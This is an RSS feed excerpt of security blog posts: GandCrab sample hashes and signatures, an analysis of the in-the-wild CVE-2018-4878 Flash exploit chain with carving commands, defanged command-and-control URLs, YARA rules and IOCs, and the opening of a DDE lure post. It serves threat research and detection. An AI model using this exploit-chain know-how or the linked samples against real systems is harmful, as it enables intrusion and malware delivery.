target=&quot;_top&quot;&gt;8f77b27596cb18a4e7c56bc28f18fa4648d328210a36d62c456bb31084426ff4&lt;/a&gt;&lt;br&gt;53.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/91ac0eae541c351122daaeb9ef2042508b8bc10816cc056c7b6d4a717f05a76e&quot; target=&quot;_top&quot;&gt;91ac0eae541c351122daaeb9ef2042508b8bc10816cc056c7b6d4a717f05a76e&lt;/a&gt;&lt;br&gt;54.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/9c9ec33955cc9144dffb97095dd8be8ffc7a676eaf99da63d113775ca7a9d7c9&quot; target=&quot;_top&quot;&gt;9c9ec33955cc9144dffb97095dd8be8ffc7a676eaf99da63d113775ca7a9d7c9&lt;/a&gt;&lt;br&gt;55.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/a3bd170a56e43d123f928e5978d51e24fdcc708382c5a8d86c1dbe2e67538148&quot; target=&quot;_top&quot;&gt;a3bd170a56e43d123f928e5978d51e24fdcc708382c5a8d86c1dbe2e67538148&lt;/a&gt;&lt;br&gt;56.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/a53c7526939cfd8d609c77b5b6a6da82329efc017e91f203d57934da0ed8637f&quot; target=&quot;_top&quot;&gt;a53c7526939cfd8d609c77b5b6a6da82329efc017e91f203d57934da0ed8637f&lt;/a&gt;&lt;br&gt;57.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/a601d9742b306384796a7a6f835c8a979179c9f516bd17ba7185f7d331b4db2d&quot; target=&quot;_top&quot;&gt;a601d9742b306384796a7a6f835c8a979179c9f516bd17ba7185f7d331b4db2d&lt;/a&gt;&lt;br&gt;58.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/a953e225ec770230c100281dc8d3820b63461740214fa6471580fbba6048378c&quot; target=&quot;_top&quot;&gt;a953e225ec770230c100281dc8d3820b63461740214fa6471580fbba6048378c&lt;/a&gt;&lt;br&gt;59.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/a9995695776b7a17d1ac86b8b47fbcd94d190c42c6d3838417749d57b03f9e07&quot; target=&quot;_top&quot;&gt;a9995695776b7a17d1ac86b8b47fbcd94d190c42c6d3838417749d57b03f9e07&lt;/a&gt;&lt;br&gt;60.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/ba1bc1c75ff7aec30d48d47284d120d7a1a862a44e86e63094afbca5cc6f1578&quot; target=&quot;_top&quot;&gt;ba1bc1c75ff7aec30d48d47284d120d7a1a862a44e86e63094afbca5cc6f1578&lt;/a&gt;&lt;br&gt;61.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/bb81c9f62bcb5efb54792925e8a7d3d9a53e1d9ec10a6616c1d670967762a9cb&quot; target=&quot;_top&quot;&gt;bb81c9f62bcb5efb54792925e8a7d3d9a53e1d9ec10a6616c1d670967762a9cb&lt;/a&gt;&lt;br&gt;62.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/bd2193869e8fad55ebdb29f3acc7a3e9d5df81a3390c19b936d4035f990f2842&quot; target=&quot;_top&quot;&gt;bd2193869e8fad55ebdb29f3acc7a3e9d5df81a3390c19b936d4035f990f2842&lt;/a&gt;&lt;br&gt;63.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/c4798dc2655e8263259f24c237a665f5f1cf556a082a321a64c8e91f2246e427&quot; target=&quot;_top&quot;&gt;c4798dc2655e8263259f24c237a665f5f1cf556a082a321a64c8e91f2246e427&lt;/a&gt;&lt;br&gt;64.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/c9d69de2fc0f3ea9d57793e723b3e6234e034a6c533f5550c01376508861de87&quot; target=&quot;_top&quot;&gt;c9d69de2fc0f3ea9d57793e723b3e6234e034a6c533f5550c01376508861de87&lt;/a&gt;&lt;br&gt;65.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/ca409d1c8034b850cbee61ddb884267b3cb31f44e4adbd59da20498634726cc9&quot; target=&quot;_top&quot;&gt;ca409d1c8034b850cbee61ddb884267b3cb31f44e4adbd59da20498634726cc9&lt;/a&gt;&lt;br&gt;66.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/ca60b1755608f07a053cb1fdc87ccf506759a54867a6cb2f62f0568e043f9a44&quot; target=&quot;_top&quot;&gt;ca60b1755608f07a053cb1fdc87ccf506759a54867a6cb2f62f0568e043f9a44&lt;/a&gt;&lt;br&gt;67.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/cac05cef3b1607be9145894a619a27611e90a5edab4a6af4896f549cb1be0147&quot; target=&quot;_top&quot;&gt;cac05cef3b1607be9145894a619a27611e90a5edab4a6af4896f549cb1be0147&lt;/a&gt;&lt;br&gt;68.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/cdd6a50db75672ea4c5c3baec9c5ee4de14ad4fab4ef9a5ad7fa7d6fa97f8bff&quot; target=&quot;_top&quot;&gt;cdd6a50db75672ea4c5c3baec9c5ee4de14ad4fab4ef9a5ad7fa7d6fa97f8bff&lt;/a&gt;&lt;br&gt;69.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/da018eea106dc3a2a219049f9d0f5e55b87e5e3a91ca19877255fa65a06696d9&quot; target=&quot;_top&quot;&gt;da018eea106dc3a2a219049f9d0f5e55b87e5e3a91ca19877255fa65a06696d9&lt;/a&gt;&lt;br&gt;70.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/dc4ef4adefb5d26683d18fe788b432b13844fe1f54455576cee46d417bd5c666&quot; target=&quot;_top&quot;&gt;dc4ef4adefb5d26683d18fe788b432b13844fe1f54455576cee46d417bd5c666&lt;/a&gt;&lt;br&gt;71.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/e2293df854d6a0d86c965ad118e126f407f864cb54d830d4aa345c4d9557bc23&quot; target=&quot;_top&quot;&gt;e2293df854d6a0d86c965ad118e126f407f864cb54d830d4aa345c4d9557bc23&lt;/a&gt;&lt;br&gt;72.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/e9c64f7c4432ab680ad026e76ba299181c36e72596f227f924932ba744af82ad&quot; target=&quot;_top&quot;&gt;e9c64f7c4432ab680ad026e76ba299181c36e72596f227f924932ba744af82ad&lt;/a&gt;&lt;br&gt;73.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/eadc01694adc0f1137b4ec16299bb9c6c65180d7e446b71a885e082fff9b884f&quot; target=&quot;_top&quot;&gt;eadc01694adc0f1137b4ec16299bb9c6c65180d7e446b71a885e082fff9b884f&lt;/a&gt;&lt;br&gt;74.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/ebf8f2d4463cd107039661c5ca349a00a2dc90ea537dac75b87b42b323cd48f5&quot; target=&quot;_top&quot;&gt;ebf8f2d4463cd107039661c5ca349a00a2dc90ea537dac75b87b42b323cd48f5&lt;/a&gt;&lt;br&gt;75.&nbsp;&lt;a href=&quot;https://www.virustotal.com/#/file/f6985e91760b621462ed291eb35638b580ed9ede5e83834b9c026302d6fd5d9b&quot; target=&quot;_top&quot;&gt;f6985e91760b621462ed291eb35638b580ed9ede5e83834b9c026302d6fd5d9b&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;Detection&lt;/h2&gt;

&lt;p&gt;InQuest customers can hunt for signs of this campaign generically via the following signatures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5000532, MC_Embedded_VB_Macro, with confidence 9 and severity 9.&lt;/li&gt;

&lt;li&gt;3000080, SC_Suspicious_Macro_Function, with confidence 8 and severity 5.&lt;/li&gt;

&lt;li&gt;3000143, SC_StrRev_Macro, with confidence 8 and severity 4.&lt;/li&gt;

&lt;li&gt;5000869, MC_Phorpiex, with confidence 8 and severity 8.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Further Reading&lt;/h2&gt;

&lt;p&gt;&lt;br&gt;Listed here in reverse chronological order:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net/2018/04/17/index2.html&quot; target=&quot;_top&quot;&gt;https://www.malware-traffic-analysis.net/2018/04/17/index2.html&lt;/a&gt;&amp;nbsp;(Just released!)&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net/2018/04/14/index.html&quot; target=&quot;_top&quot;&gt;https://www.malware-traffic-analysis.net/2018/04/14/index.html&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/compile-error-halts-some-gandcrab-ransomware-infections/&quot; target=&quot;_top&quot;&gt;https://www.bleepingcomputer.com/news/security/compile-error-halts-some-gandcrab-ransomware-infections/&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://threatpost.com/gandcrab-ransomware-crooks-take-agile-development-approach/130490/&quot; target=&quot;_top&quot;&gt;https://threatpost.com/gandcrab-ransomware-crooks-take-agile-development-approach/130490/&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/&quot; target=&quot;_top&quot;&gt;https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/&lt;/a&gt;&amp;nbsp;(Free GandCrab Decryptor)&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/&quot; target=&quot;_top&quot;&gt;https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2018-08-01 on &lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/blog/gandcrab-swarm&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>02.07.2018: Adobe Flash MediaPlayer DRM Use-After-Free Vulnerability</title>
            <link>http://pedramamini.com/blog/2018.02.07/</link>
            <pubDate>Wed, 07 Feb 2018 00:00:00 -0600</pubDate>
            <description>&lt;p&gt;On February 1st, Adobe published bulletin&nbsp;&lt;a href=&quot;https://helpx.adobe.com/security/products/flash-player/apsa18-01.html&quot; target=&quot;_top&quot;&gt;APSA18-01&lt;/a&gt;&nbsp;for CVE-2018-4878 describing a use-after-free (UAF) vulnerability affecting Flash version 28.0.0.137 and earlier. As of February 6th, Adobe has patched the issue in version 28.0.0.161, see:&nbsp;&lt;a href=&quot;https://helpx.adobe.com/security/products/flash-player/apsb18-03.html&quot; target=&quot;_top&quot;&gt;APSB18-03&lt;/a&gt;. This post provides an overview of the vulnerability, a walk-through of the exploit seen in the wild, and covers several detection mechanisms. You can also follow the conversation via our&nbsp;&lt;a href=&quot;https://twitter.com/i/moments/960633253165191170&quot; target=&quot;_top&quot;&gt;Twitter moment&lt;/a&gt;.&lt;img src=&quot;/legacy/2018-02-07-adobe-flash-mediaplayer-drm-use-after-free/carrier.png&quot; alt=&quot;&quot;&gt;Screenshot of SWF 0day within Microsoft Office malware carrier document.Adobe Flash is on its final years as Adobe is scheduled to kill Flash in 2020. Major browsers such as Chrome, Microsoft Edge, and Safari have buried the functionality over the past year or so. There's no denying that Flash has played a major role in the evolution of the web, arguably paving the way to HTML5. It was certainly nudged closer to the grave when Apple overtly decided against supporting the popular platform with the launch of the iPhone a decade ago.&lt;/p&gt;

&lt;p&gt;From a consumer security perspective, this trend is generally a positive one; in 2015, there were 316 published Flash Player bugs (you heard that right, 6 bugs a week). The combination of a massive attack surface, ability to programatically manipulate memory, and mixed media access represents a dream come true for a potential attacker. While attackers quickly lose the ability to lean on Flash in the browser, the platform can still get them results through a medium such as Microsoft Office. On 1/31 the KrCERT/CC (South Korea Computer Emergency Response Team) released a notice regarding an Adobe Flash 0day exploit they observed in-the-wild, it was assigned CVE-2018-4878 and targets a UAF vulnerability in the&nbsp;&lt;a href=&quot;https://helpx.adobe.com/legal/product-descriptions/adobe-primetime-tvsdk-platform.html&quot; target=&quot;_top&quot;&gt;TVSDK Platform&lt;/a&gt;. The exploit is delivered to targets in the following chain:&lt;/p&gt;

&lt;ol&gt;&lt;li&gt;Document based carrier. Both XLSX and DOC carriers have been observed in the wild.&lt;/li&gt;&lt;li&gt;The carrier embeds Adobe Flash (SWF) content.&lt;/li&gt;&lt;li&gt;Upon execution, the first-stage SWF exploit gathers system information and communicates with a compromised pivot server.&lt;/li&gt;&lt;li&gt;A second-stage Adobe Flash payload is retrieved, decrypted, and executed. This second-stage payload contains the exploit for a use-after-free vulnerability in Adobe Flash MediaPlayer DRM management.&lt;/li&gt;&lt;li&gt;The final payload, a ROKRAT Windows PE file is downloaded and executed.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Sparing transmission of the exploit to a second-stage is common sense from an OPSEC (operational security) perspective. By delaying the delivery of the 0day exploit, the attackers are limiting the exposure of this valuable capability. As such, the second-stage sample has not been widely reported on or analyzed. We’ve made all stages of the exploit chain available, along with ActionScript decompilation available on&nbsp;&lt;a href=&quot;https://github.com/InQuest/malware-samples/tree/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day&quot; target=&quot;_top&quot;&gt;GitHub.com/InQuest&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s walk through the exploit chain starting from the XLSX carrier&nbsp;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/xlsx-14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12&quot; target=&quot;_top&quot;&gt;14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12&lt;/a&gt;. Decompress the XLSX file and note&nbsp;&lt;code&gt;/xl/activeX/activeX1.bin&lt;/code&gt;, at offset 0x18 (24) you’ll recognize Adobe Flash magic. Let’s carve it out:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ xxd activeX1.bin | head
 00000000: 6edb 7cd2 6dae cf11 96b8 4445 5354 0000  n.|.m.....DEST..
 00000010: 6655 6655 97c8 0100 4657 5320 97c8 0100  fUfU....FWS ....
 00000020: 7800 04e2 0000 0ea6 0000 1801 0044 1119  x............D..
 00000030: 0000 007f 13cb 0100 003c 7264 663a 5244  .........&amp;lt;rdf:RD
 00000040: 4620 786d 6c6e 733a 7264 663d 2768 7474  F xmlns:rdf='htt
 00000050: 703a 2f2f 7777 772e 7733 2e6f 7267 2f31  p://www.w3.org/1
 00000060: 3939 392f 3032 2f32 322d 7264 662d 7379  999/02/22-rdf-sy
 00000070: 6e74 6178 2d6e 7323 273e 3c72 6466 3a44  ntax-ns#'&amp;gt;&amp;lt;rdf:D
 00000080: 6573 6372 6970 7469 6f6e 2072 6466 3a61  escription rdf:a
 00000090: 626f 7574 3d27 2720 786d 6c6e 733a 6463  bout='' xmlns:dc
 000000a0: 3d27 6874 7470 3a2f 2f70 7572 6c2e 6f72  ='http://purl.or
 000000b0: 672f 6463 2f65 6c65 6d65 6e74 732f 312e  g/dc/elements/1.
 000000c0: 3127 3e3c 6463 3a66 6f72 6d61 743e 6170  1'&amp;gt;&amp;lt;dc:format&amp;gt;ap
 000000d0: 706c 6963 6174 696f 6e2f 782d 7368 6f63  plication/x-shoc

$ dd if=activeX1.bin of=swf skip=24 bs=1 count=999999
$ file swf
 swf: Macromedia Flash data, version 32
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Through a combination of&nbsp;&lt;a href=&quot;http://www.swftools.org/swfdump.html&quot; target=&quot;_top&quot;&gt;swfdump&lt;/a&gt;&nbsp;and&nbsp;&lt;a href=&quot;https://www.free-decompiler.com/flash/&quot; target=&quot;_top&quot;&gt;FFDec&lt;/a&gt;&nbsp;we can both ascertain the entry point and decompile the embedded ActionScript.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ swfdump swf | egrep &quot;FRAMELABEL|DOABC&quot;
[02b]         8 FRAMELABEL &quot;loadswf&quot;
[052]      2788 DOABC &quot;loadswf&quot;, lazy load
[052]      2686 DOABC &quot;mx/utils/StringUtil&quot;, lazy load
[052]       264 DOABC &quot;mx/core/IFlexAsset&quot;, lazy load
[052]       553 DOABC &quot;mx/core/ByteArrayAsset&quot;, lazy load
[052]       355 DOABC &quot;loadswf_SWFBClass&quot;, lazy load
[052]       339 DOABC &quot;loadswf_MyURL&quot;, lazy load
[052]       206 DOABC &quot;mx/core/mx_internal&quot;, lazy load
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Stepping through the major portions of this first-stage payload:&lt;/p&gt;

&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/swf-88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294-dfi/loadswf.as#L15&quot; target=&quot;_top&quot;&gt;Entrypoint @loadswf&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Request to a compromised South Korean server to retrieve and&nbsp;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/swf-88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294-dfi/loadswf.as#L82&quot; target=&quot;_top&quot;&gt;decrypt&lt;/a&gt;&nbsp;the second-stage payload.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/swf-88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294-dfi/loadswf.as#L97-L103&quot; target=&quot;_top&quot;&gt;XOR decoder&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/swf-88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294-dfi/loadswf.as#L104-L106&quot; target=&quot;_top&quot;&gt;Transfer control to second-stage&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Stepping through the major portions of the second-stage payload (0day):&lt;/p&gt;

&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/swf-1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d-dfi/flash01.as#L8&quot; target=&quot;_top&quot;&gt;Entrypoint @flash01&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/swf-1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d-dfi/%3F%255Cx01%3F.as#L69-L78&quot; target=&quot;_top&quot;&gt;Suspected use-after-free trigger 1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/CVE-2018-4878-Adobe-Flash-DRM-UAF-0day/swf-1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d-dfi/flash10.as#L77-L87&quot; target=&quot;_top&quot;&gt;Suspected use-after-free trigger 2&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;One variable that isn’t immediately apparent in the decompiled ActionScript is the URL which the second-stage SWF payload (0day) is retrieved from. We got lucky with a little Linux command line brute force extraction combined with domain knowledge of common URLs to filter:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ grep -aEor 'https?://[A-Za-z0-9\./]+' 14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12/ | cut -d':' -f2- | sort | uniq | grep -Ev &quot;adobe.com|w3.org|openxmlformats.org|microsoft.com&quot; | sed &quot;s/http:/hxxp:/&quot;
hxxp://purl.org/dc/dcmitype/
hxxp://purl.org/dc/elements/1.1
hxxp://purl.org/dc/elements/1.1/
hxxp://purl.org/dc/terms/
hxxp://www.dylboiler.co.kr/admincenter/files/boad/4/manager.php
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The last URL in that least clearly stands out. If heavily obfuscated, dynamic analysis would be the preferred extraction path.&lt;/p&gt;

&lt;h2&gt;Detection&lt;/h2&gt;

&lt;p&gt;We’ve made a number of relevant YARA signatures available on&nbsp;&lt;a href=&quot;https://github.com/InQuest/yara-rules&quot; target=&quot;_top&quot;&gt;GitHub.com/InQuest&lt;/a&gt;&nbsp;for detecting the various components of this threat. Ordered from most general to most specific:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_Document_with_Embedded_Flash_File.rule&quot; target=&quot;_top&quot;&gt;Microsoft_Office_Document_with_Embedded_Flash_File.rule&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Adobe_Flash_DRM_Use_After_Free.rule&quot; target=&quot;_top&quot;&gt;Adobe_Flash_DRM_Use_After_Free.rule&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/CVE_2018_4878_0day_ITW.rule&quot; target=&quot;_top&quot;&gt;CVE_2018_4878_0day_ITW.rule&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;While not explicitly indicative of malicious content, it’s prudent for a threat hunter to explore documents discovered in transit that embed Adobe Flash via the first rule. The second looks for specific triggers suspected in the decompiled ActionScript, efficacy of this signature is dependent on processing the captured SWF file through an engine such as FFDec. Generically, the&nbsp;&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Adobe_Flash_DRM_Use_After_Free.rule#L30&quot; target=&quot;_top&quot;&gt;$varc_1&lt;/a&gt;&nbsp;string from this rule looks for the requisite components to trigger the UAF vulnerability within the bounds of a single function. The final signature above is mostly sourced from posts in the public domain (see references), we threw a tweak on it to avoid false positives. This signature, while exploit specific and more easily evadable, applies to the existing threats observed in the wild thus far.&lt;/p&gt;

&lt;h2&gt;IOCs&lt;/h2&gt;

&lt;ul&gt;&lt;li&gt;14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12 Carrier: Microsoft Excel 2007+&lt;/li&gt;&lt;li&gt;3b1395f620e428c5f68c6497a2338da0c4f749feb64e8f12e4c5b1288cc57a1c Carrier: Composite Document File V2 Document&lt;/li&gt;&lt;li&gt;88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294 Stage-1: Macromedia Flash data, version 32&lt;/li&gt;&lt;li&gt;fec71b8479f3a416fa58580ae76a8c731c2294c24663c601a1267e0e5c2678a0 Stage-1: Macromedia Flash data, version 32&lt;/li&gt;&lt;li&gt;1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d Stage-2: (0day) Macromedia Flash data (compressed), version 32&lt;/li&gt;&lt;li&gt;e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd Payload: (ROKRAT) PE32 executable (GUI) Intel 80386, for MS Windows&lt;/li&gt;&lt;li&gt;hxxp://www.dylboiler.co.kr/admincenter/files/boad/4/manager.php&lt;/li&gt;&lt;li&gt;hxxp://1588-2040.co.kr/design/m/images/image/image.php&lt;/li&gt;&lt;li&gt;hxxp://www.1588-2040.co.kr/conf/product_old.jpg&lt;/li&gt;&lt;li&gt;hxxp://www.korea-tax.info/main/local.php&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;References (chronological)&lt;/h2&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/i/moments/960633253165191170&quot; target=&quot;_top&quot;&gt;Twitter moment&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26998&quot; target=&quot;_top&quot;&gt;https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26998&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://helpx.adobe.com/security/products/flash-player/apsa18-01.html&quot; target=&quot;_top&quot;&gt;https://helpx.adobe.com/security/products/flash-player/apsa18-01.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://blog.talosintelligence.com/2018/02/group-123-goes-wild.html&quot; target=&quot;_top&quot;&gt;http://blog.talosintelligence.com/2018/02/group-123-goes-wild.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2018/02/attacks-leveraging-adobe-zero-day.html&quot; target=&quot;_top&quot;&gt;https://www.fireeye.com/blog/threat-research/2018/02/attacks-leveraging-adobe-zero-day.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://otx.alienvault.com/pulse/5a7437b59de8422ad47fc161&quot; target=&quot;_top&quot;&gt;https://otx.alienvault.com/pulse/5a7437b59de8422ad47fc161&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://blog.alyac.co.kr/1521&quot; target=&quot;_top&quot;&gt;http://blog.alyac.co.kr/1521&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.malwarebytes.com/cybercrime/2018/02/new-flash-player-zero-day-comes-inside-office-document/&quot; target=&quot;_top&quot;&gt;https://blog.malwarebytes.com/cybercrime/2018/02/new-flash-player-zero-day-comes-inside-office-document/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.flashpoint-intel.com/blog/targeted-attacks-south-korean-entities/&quot; target=&quot;_top&quot;&gt;https://www.flashpoint-intel.com/blog/targeted-attacks-south-korean-entities/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://blog.morphisec.com/adobe-flash-zero-day-prevented-by-morphisec-cve-2018-4878&quot; target=&quot;_top&quot;&gt;http://blog.morphisec.com/adobe-flash-zero-day-prevented-by-morphisec-cve-2018-4878&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://helpx.adobe.com/security/products/flash-player/apsb18-03.html&quot; target=&quot;_top&quot;&gt;https://helpx.adobe.com/security/products/flash-player/apsb18-03.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.morphisec.com/cve-2018-4878-an-analysis-of-the-flash-player-hack&quot; target=&quot;_top&quot;&gt;https://blog.morphisec.com/cve-2018-4878-an-analysis-of-the-flash-player-hack&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/&quot; target=&quot;_top&quot;&gt;https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/mdsecactivebreach/CVE-2018-4878&quot; target=&quot;_top&quot;&gt;https://github.com/mdsecactivebreach/CVE-2018-4878&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;Free On-Demand Webinar: Think Before You Click&lt;/h2&gt;
&lt;p&gt;Whether sent as an email attachment, sitting in your cloud or traversing the Web, file-borne threats have become a proven favorite for delivering malware and phishing campaigns. View our webinar on-demand and get firsthand tips about how to safeguard your cybersecurity stack with File Detection and Response (FDR) and stop file-borne threats in their tracks.&lt;/p&gt;
&lt;p&gt;    &lt;a href=&quot;https://cta-redirect.hubspot.com/cta/redirect/4270940/c8fd6e6e-6489-4923-b6d5-57d2cb4b7f8c&quot; target=&quot;_top&quot;&gt;&lt;img src=&quot;/legacy/2018-02-07-adobe-flash-mediaplayer-drm-use-after-free/c8fd6e6e-6489-4923-b6d5-57d2cb4b7f8c.png&quot; alt=&quot;View the Webinar On-Demand&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2018-02-07 on &lt;a href=&quot;https://web.archive.org/web/2019/https://inquest.net/blog/2018/02/07/adobe-flash-mediaplayer-drm-use-after-free-vulnerability&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>10.14.2017: Microsoft Office DDE Lures: SEC OMB, Freddie Mac and Vortex Ransomware</title>
            <link>http://pedramamini.com/blog/2017.10.14/</link>
            <pubDate>Sat, 14 Oct 2017 00:00:00 -0500</pubDate>
            <description>&lt;h2&gt;SEC OMB Approval Lure&lt;/h2&gt;
&lt;p&gt;In reviewing the results of our Microsoft Office DDE malware hunt, (&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule&quot; target=&quot;_top&quot;&gt;Microsoft_Office_DDE_Command_Execution.rule&lt;/a&gt;) we came across an interesting lure posing as an SEC Office of Management and Budget (OMB) approval letter. The sample utilizes some tricks to increase chances of successful exploitation.&nbsp;We’ll walk through the dissection of the components in this post. To follow the highlights of the conversation on Twitter, see the following moment:&lt;/p&gt;

